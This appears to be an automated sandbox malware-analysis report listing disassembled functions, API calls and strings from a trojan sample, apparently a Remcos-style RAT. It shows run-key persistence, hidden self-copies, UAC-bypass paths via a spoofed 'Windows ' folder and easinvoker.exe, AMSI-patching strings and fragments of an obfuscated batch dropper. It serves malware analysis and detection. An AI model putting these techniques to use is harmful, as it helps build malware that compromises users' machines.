Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FilePath$NameName_$AddressAttributesCloseCreateDeleteExecHandleInitLibraryLoadModuleProcSleepStringUnicodeWrite
String ID: .url$@echo offset "Nnqr=set "%Nnqr%"njyC=="%Nnqr%"qkMvMLsfma%njyC%http"%Nnqr%"dbvWEsxWns%njyC%rem "%Nnqr%"NpzRZtRBVV%njyC%Cloa"%Nnqr%"ftNVZzSZxa%njyC%/Bat"%Nnqr%"TwupSEtIWD%njyC%gith"%Nnqr%"yIGacXULig%njyC%k"%Nnqr%"uGlGnqCSun%njyC%h2sh"%Nnqr%"FU$C:\Users\Public\$C:\Users\Public\alpha.exe$C:\Windows \System32\NETUTILS.dll$C:\Windows \System32\aaa.bat$C:\Windows \System32\easinvoker.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $HotKey=$IconIndex=$Initialize$O.bat$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$[InternetShortcut]$a.bat$er.e$s.d
API String ID: 102611719-2667577771
Opcode ID: a19c02dbd5d1a70200fcf0993653d03fca8e4cf5ca691c8f9d006550175c620f
Instruction ID: 3984228abaa76cef263d6bdd33ab740583b8aefc04acd6703ff3eac9112bb520
Opcode Fuzzy Hash: a19c02dbd5d1a70200fcf0993653d03fca8e4cf5ca691c8f9d006550175c620f
Instruction Fuzzy Hash: CF530A38B503598FDB20FB65DD90EDEB3B6AB85200F5041A2A008EF665DF71AE85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 1602CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 1602CE07
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,160950E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 1602CE20
CopyFileW.KERNEL32(C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe,00000000,00000000,00000000,00000000,00000000,?,160950E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe), ref: 1602CED0
_wcslen.LIBCMT ref: 1602CEE6
CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 1602CF6E
CopyFileW.KERNEL32(C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe,00000000,00000000), ref: 1602CF84
SetFileAttributesW.KERNEL32(00000000,00000007), ref: 1602CFC3
_wcslen.LIBCMT ref: 1602CFC6
SetFileAttributesW.KERNEL32(00000000,00000007), ref: 1602CFDD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,160950E4,0000000E), ref: 1602D02D
ShellExecuteW.SHELL32(00000000,open,00000000,16086468,16086468,00000001), ref: 1602D04B
ExitProcess.KERNEL32 ref: 1602D062

Strings

6, xrefs: 1602CEDA
C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, xrefs: 1602CE91, 1602CE96, 1602CEC9, 1602CF7E, 1602CF83, 1602CF8A, 1602CFEB
open, xrefs: 1602D044
del, xrefs: 1602CFF5

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
String ID: 6$C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe$del$open
API String ID: 1579085052-2693547394
Opcode ID: 409f0bf33f759b05dbd5d2c43f150697f60b98d8ff3d397bce81440eb800bfae
Instruction ID: c136b1cebf138a9b6c6f52f3cb89057414edc08ce8341d9fd398bc451f29f892
Opcode Fuzzy Hash: 409f0bf33f759b05dbd5d2c43f150697f60b98d8ff3d397bce81440eb800bfae
Instruction Fuzzy Hash: A65105296983806BDA88E7748C90F6F7F9F6F94612FC1004CF649961C1EF25BC0DC2A2

Uniqueness

Uniqueness Score: -1.00%

Function 03F84EFE Relevance: 18.4, APIs: 2, Strings: 8, Instructions: 941
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03F77BE8: LoadLibraryW.KERNEL32(?,00000000,03F77C9A), ref: 03F77C18
Part of subcall function 03F77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,03F77C9A), ref: 03F77C1E
Part of subcall function 03F77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 03F77C37

Part of subcall function 03F7D318: RegOpenKeyA.ADVAPI32(?,00000000,03FC5798), ref: 03F7D35C
Part of subcall function 03F7D318: RegSetValueExA.ADVAPI32(00000884,00000000,00000000,00000001,00000000,0000001C,00000000,03F7D3C7), ref: 03F7D394
Part of subcall function 03F7D318: RegCloseKey.ADVAPI32(00000884,00000884,00000000,00000000,00000001,00000000,0000001C,00000000,03F7D3C7), ref: 03F7D39F

WinExec.KERNEL32(00000000,00000000), ref: 03F857F9

Part of subcall function 03F79E70: CompareStringA.KERNEL32(00000400,00000001,00000000,?,00000000), ref: 03F79F33

RtlMoveMemory.N(00000000,?,00000000,?,ScanBuffer,03FC5344,03F88FEC,UacScan,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC,OpenSession,03FC5344,03F88FEC), ref: 03F85D7B

Strings

ScanString, xrefs: 03F84F0A, 03F853EC, 03F85886, 03F85CED
UacInitialize, xrefs: 03F85765
ScanBuffer, xrefs: 03F850FA, 03F855DC, 03F8566D, 03F85A9D, 03F85C30, 03F85D8C, 03F85F00
UacScan, xrefs: 03F8507E, 03F85278, 03F852F4, 03F85468, 03F8580A, 03F85A21, 03F85BB4, 03F85E84
C:\Windows\System32\, xrefs: 03F857E3
C:\Users\Public\, xrefs: 03F8516A
OpenSession, xrefs: 03F85002, 03F851FC, 03F85370, 03F854E4, 03F856E9, 03F85902, 03F859A5, 03F85B38, 03F85E08
Initialize, xrefs: 03F84F86, 03F85560

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressCloseCompareExecHandleLibraryLoadMemoryModuleMoveOpenProcStringValue
String ID: C:\Users\Public\$C:\Windows\System32\$Initialize$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan
API String ID: 897696978-872072817
Opcode ID: ad06528a2da6d4e412e1f97d453a86117213c121024d980a3068bb48a5d537d8
Instruction ID: a3e7370df33a9682924199c798998404b1facda470035c9c45f7b33f16a54e72
Opcode Fuzzy Hash: ad06528a2da6d4e412e1f97d453a86117213c121024d980a3068bb48a5d537d8
Instruction Fuzzy Hash: FF921A38A543598FDB14FB65DD90DDEB3B6AB85300F5080A2E148EF265DBB1AE85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 1602DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLongPathNameW.KERNEL32(00000000,?,00000208), ref: 1602DB9A

Strings

\system32, xrefs: 1602DAAE
ProgramFiles, xrefs: 1602DB6E
SystemDrive, xrefs: 1602DA91
UserProfile, xrefs: 1602DB58
Temp, xrefs: 1602DA66
ProgramData, xrefs: 1602DB5F
\SysWOW64, xrefs: 1602DB00
AppData, xrefs: 1602DB51
WinDir, xrefs: 1602DA9B, 1602DABD, 1602DB0F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: LongNamePath
String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
API String ID: 82841172-425784914
Opcode ID: 5cee0c82e2dcfd13a96c078d2e4f8dd72a8e0ba424b59dbb81e9551d35776d51
Instruction ID: b64e5dbd1667fd0041bb80115e53f338614d7388f965718842e1c07b4e123741
Opcode Fuzzy Hash: 5cee0c82e2dcfd13a96c078d2e4f8dd72a8e0ba424b59dbb81e9551d35776d51
Instruction Fuzzy Hash: 0B41757A4482009AD255DB60DC50CEFFFEAAEE4212F90066EF595920D5FF20FE4DC692

Uniqueness

Uniqueness Score: -1.00%

Function 1603B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1603BFB7: GetCurrentProcess.KERNEL32(?,?,?,1602DAAA,WinDir,00000000,00000000), ref: 1603BFC8
Part of subcall function 1603BFB7: IsWow64Process.KERNEL32(00000000,?,?,1602DAAA,WinDir,00000000,00000000), ref: 1603BFCF

Part of subcall function 160335A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 160335CA
Part of subcall function 160335A6: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 160335E7
Part of subcall function 160335A6: RegCloseKey.ADVAPI32(?), ref: 160335F2

StrToIntA.SHLWAPI(00000000,1608C9F8,00000000,00000000,00000000,160950E4,00000003,Exe,00000000,0000000E,00000000,160860BC,00000003,00000000), ref: 1603B33C

Strings

(64 bit), xrefs: 1603B368
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 1603B2D7, 1603B2E1, 1603B322
(32 bit), xrefs: 1603B36F
CurrentBuildNumber, xrefs: 1603B31D
ProductName, xrefs: 1603B2D2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentOpenQueryValueWow64
String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 782494840-2070987746
Opcode ID: c80d309cbe4256b216366f5b5376d49b48b736d04081564173511dd976643e9f
Instruction ID: 1bba1a7899889f897ca46efe7c5345d3431486a7119396878f75d23d1831fe4e
Opcode Fuzzy Hash: c80d309cbe4256b216366f5b5376d49b48b736d04081564173511dd976643e9f
Instruction Fuzzy Hash: 52112564D001502FD708E375CC99EBF7F6F9FA1107F8402A8E656A22D1EB10A80DC3A1

Uniqueness

Uniqueness Score: -1.00%

Function 03F61724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,03F62000), ref: 03F617D0
Sleep.KERNEL32(0000000A,00000000,?,03F62000), ref: 03F617E6

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bd17a06057052eb9633828ef2fdf9edaaab46fb5d37aef5c661e83ebe472f53f
Instruction ID: efe9a4056a4e8f46a0e80ed77147bcab08ab3f87db752f280008440795c9a6c1
Opcode Fuzzy Hash: bd17a06057052eb9633828ef2fdf9edaaab46fb5d37aef5c661e83ebe472f53f
Instruction Fuzzy Hash: A8B11176A103569FCB16DF28DAD4366FBE1EF85320F1886AED44A8F389D7709441CB90

Uniqueness

Uniqueness Score: -1.00%

Function 03F77B20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,03F77BA5,?,?,00000000,00000000), ref: 03F77B61
GetProcAddress.KERNEL32(00000000,kernel32), ref: 03F77B67
VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,03F77BA5,?,?,00000000,00000000), ref: 03F77B81

Strings

irtualProtect, xrefs: 03F77B39
kernel32, xrefs: 03F77B5C

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: irtualProtect$kernel32
API String ID: 2099061454-2063912171
Opcode ID: 111e8594ad31d47a7efff5eae7fa8b90032c587fefe60a50333506eaa76721a1
Instruction ID: d1358494c3180e9e8e8fd5261e25abdd232ced63e94bb79a9d34e9ae5d02d2a5
Opcode Fuzzy Hash: 111e8594ad31d47a7efff5eae7fa8b90032c587fefe60a50333506eaa76721a1
Instruction Fuzzy Hash: F4017878614348BFD700FFA9DC55E6EB7ECEB49710FA14062B918EB784D630EA008A24

Uniqueness

Uniqueness Score: -1.00%

Function 03F61A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 03F61B17
Sleep.KERNEL32(0000000A,00000000,?), ref: 03F61B31

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 169921c3124d04a5341f6043dc84ecde344bf5b3a7f2acf8f5a6737c8274e3ec
Instruction ID: 384e88d02b6670b26d76e91ccbaf26fb8838f9c0c7dc69d8642d0bd47cf918c1
Opcode Fuzzy Hash: 169921c3124d04a5341f6043dc84ecde344bf5b3a7f2acf8f5a6737c8274e3ec
Instruction Fuzzy Hash: 3851ED75A103419FEB15DF68CAC4766BBE4EF46320F1886AED448CB396E7B0C845C791

Uniqueness

Uniqueness Score: -1.00%

Function 03F7C8AA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112networkCOMMON

Download Yara Rule

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 03F7C9EA

Strings

ScanBuffer, xrefs: 03F7C933
Initialize, xrefs: 03F7C8DA
OpenSession, xrefs: 03F7C98C

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: b2e88e83e4b16dd9d0cc0d61d8856a1f44144c938e7101bc6e5a200c4565bef0
Instruction ID: ed0c9a70b2386c5d4520f47a929a5d35acd2c54e4d6c06b2d9ade248311789bf
Opcode Fuzzy Hash: b2e88e83e4b16dd9d0cc0d61d8856a1f44144c938e7101bc6e5a200c4565bef0
Instruction Fuzzy Hash: D1411639A503499FEB00FBA5DD91EAEB3F9EF89600F204422E000FB251DA70AD019B50

Uniqueness

Uniqueness Score: -1.00%

Function 16033814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegCreateKeyW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,?), ref: 1603381F
RegSetValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,00000000,?,?,?,?,00000000,160952D8,762337E0,?), ref: 1603384D
RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,160952D8,762337E0,?,?,?,?,?,1602CFAA,?,00000000), ref: 16033858

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 1603381D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
API String ID: 1818849710-1051519024
Opcode ID: d36bc2113c8c76502c93588ed19dee8f4fa2536827ba7e0427b6bea309482952
Instruction ID: f93d5caedb5de97985550aac9a3f801093f25be73cd2d2dd714b1e2dd19df848
Opcode Fuzzy Hash: d36bc2113c8c76502c93588ed19dee8f4fa2536827ba7e0427b6bea309482952
Instruction Fuzzy Hash: EBF0A935440228BFDF04CFA1EC85AEA3B6DEF04652F108258FA05A6110EB31AA08CA90

Uniqueness

Uniqueness Score: -1.00%

Function 1602D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,1602EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,160860BC,00000003,00000000), ref: 1602D078
GetLastError.KERNEL32 ref: 1602D083

Strings

Rmc-3N0E9G, xrefs: 1602D069

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: Rmc-3N0E9G
API String ID: 1925916568-102947548
Opcode ID: 468baeca174c31796b0217af96294a02dd2a571d747b120590192b9316242a09
Instruction ID: 33f8c604734842545da0b9c268eeca6073a1e5aa93e1bb5e83866622eaa3b441
Opcode Fuzzy Hash: 468baeca174c31796b0217af96294a02dd2a571d747b120590192b9316242a09
Instruction Fuzzy Hash: E5D012B4655210ABD71C677088D975D3E979F54702F804518F20BD59D0DA6448949511

Uniqueness

Uniqueness Score: -1.00%

Function 03F75BE8 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,03F75D30,?,?,03F738BC,00000001), ref: 03F75C44
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,03F75D30,?,?,03F738BC,00000001), ref: 03F75C72

Part of subcall function 03F67D18: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,03F738BC,03F75CB2,00000000,03F75D30,?,?,03F738BC), ref: 03F67D66

Part of subcall function 03F67F54: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,03F738BC,03F75CCD,00000000,03F75D30,?,?,03F738BC,00000001), ref: 03F67F73

GetLastError.KERNEL32(00000000,03F75D30,?,?,03F738BC,00000001), ref: 03F75CD7

Part of subcall function 03F6A734: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,03F6C395,00000000,03F6C3EF), ref: 03F6A753

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: 1d64564f0a7fd9bf3fea1196f0afc4cb5154abed663c5161eb0715692ba89fdb
Instruction ID: 523f4dcd86564dc32be48275869858d93bd9f35fd787089923469767ae20343c
Opcode Fuzzy Hash: 1d64564f0a7fd9bf3fea1196f0afc4cb5154abed663c5161eb0715692ba89fdb
Instruction Fuzzy Hash: AE317578A047089FDB00EBA5CD91B9DBBB5AF49704F908466D408EB381D7759D09CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03F7D316 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,03FC5798), ref: 03F7D35C
RegSetValueExA.ADVAPI32(00000884,00000000,00000000,00000001,00000000,0000001C,00000000,03F7D3C7), ref: 03F7D394
RegCloseKey.ADVAPI32(00000884,00000884,00000000,00000000,00000001,00000000,0000001C,00000000,03F7D3C7), ref: 03F7D39F

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 9e70a2f21b10d155f1887042ca1bb1bc77b91614e743c791121933b9b3c26ab5
Instruction ID: 919c8a8d46b3e008fb44cde620bf78d0d7458fc1d6874197e3cec991e21ac8ab
Opcode Fuzzy Hash: 9e70a2f21b10d155f1887042ca1bb1bc77b91614e743c791121933b9b3c26ab5
Instruction Fuzzy Hash: 50110A74654309AFDB40FFAADD92EAE77ECEF09210F504465B818EB650DA30EE409B60

Uniqueness

Uniqueness Score: -1.00%

Function 03F7D318 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,03FC5798), ref: 03F7D35C
RegSetValueExA.ADVAPI32(00000884,00000000,00000000,00000001,00000000,0000001C,00000000,03F7D3C7), ref: 03F7D394
RegCloseKey.ADVAPI32(00000884,00000884,00000000,00000000,00000001,00000000,0000001C,00000000,03F7D3C7), ref: 03F7D39F

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: e1ffa6fe4d475d9bc15f66c8469d84b5af5c01859847204829eb5b322bbd453f
Instruction ID: 2402b10acbe6fa95580fefb30e8855811728f0c949908fdf0f29bd6c6c1bc60b
Opcode Fuzzy Hash: e1ffa6fe4d475d9bc15f66c8469d84b5af5c01859847204829eb5b322bbd453f
Instruction Fuzzy Hash: 7D110A74654309AFDB40FFAADD92E9E77ECEF09210F504465B418EB650DA30EE409B60

Uniqueness

Uniqueness Score: -1.00%

Function 03F77BE8 Relevance: 4.6, APIs: 3, Instructions: 52libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,03F77C9A), ref: 03F77C18
GetModuleHandleW.KERNEL32(?,?,00000000,03F77C9A), ref: 03F77C1E
GetProcAddress.KERNEL32(00000000,00000000), ref: 03F77C37

Part of subcall function 03F77B20: GetModuleHandleA.KERNEL32(kernel32,00000000,00000000,03F77BA5,?,?,00000000,00000000), ref: 03F77B61
Part of subcall function 03F77B20: GetProcAddress.KERNEL32(00000000,kernel32), ref: 03F77B67
Part of subcall function 03F77B20: VirtualProtect.KERNEL32(?,?,?,?,00000000,kernel32,00000000,00000000,03F77BA5,?,?,00000000,00000000), ref: 03F77B81

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$LibraryLoadProtectVirtual
String ID:
API String ID: 2543409266-0
Opcode ID: 168c0b41d3850b181d97de0996a7f68430d36ca0849b5a98da27d309c013c1cf
Instruction ID: 4dbd1f3c5199dc7249fa98127c8146cc0cce4277f6c95d2773b771a9552af5d1
Opcode Fuzzy Hash: 168c0b41d3850b181d97de0996a7f68430d36ca0849b5a98da27d309c013c1cf
Instruction Fuzzy Hash: 1901F574A94348AFDB04FBAADD62A2E77A9EB49200F900075A52DEF341DB74ED00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 03F6E320 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 03F6E32F

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 805d37957851a406843eea58c30c296dc3c4770143624e320763330b0162f8d0
Instruction ID: a79a21deeeed8fdcbfe8fbf85851b591346b5a893ef3544b96760251e7af0906
Opcode Fuzzy Hash: 805d37957851a406843eea58c30c296dc3c4770143624e320763330b0162f8d0
Instruction Fuzzy Hash: B7F0AF2FB1421086D710FB38CF859AD3F98AFE1210B102472A48A5F296DB24CC058262

Uniqueness

Uniqueness Score: -1.00%

Function 160335A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 160335CA
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 160335E7
RegCloseKey.ADVAPI32(?), ref: 160335F2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f9d2507f50bf6d4223168278461c6d28baee3470649ac8c212de6775a3538786
Instruction ID: 028d89031513ea34ebce6e29094a1e4e07add91daa59aa642ab052fd99980abe
Opcode Fuzzy Hash: f9d2507f50bf6d4223168278461c6d28baee3470649ac8c212de6775a3538786
Instruction Fuzzy Hash: A8016D7A900128BFCB249B95CC89DDE7FBEDB84652F0041A5FB05E2200DA319A59DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 16033549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON

Download Yara Rule

APIs

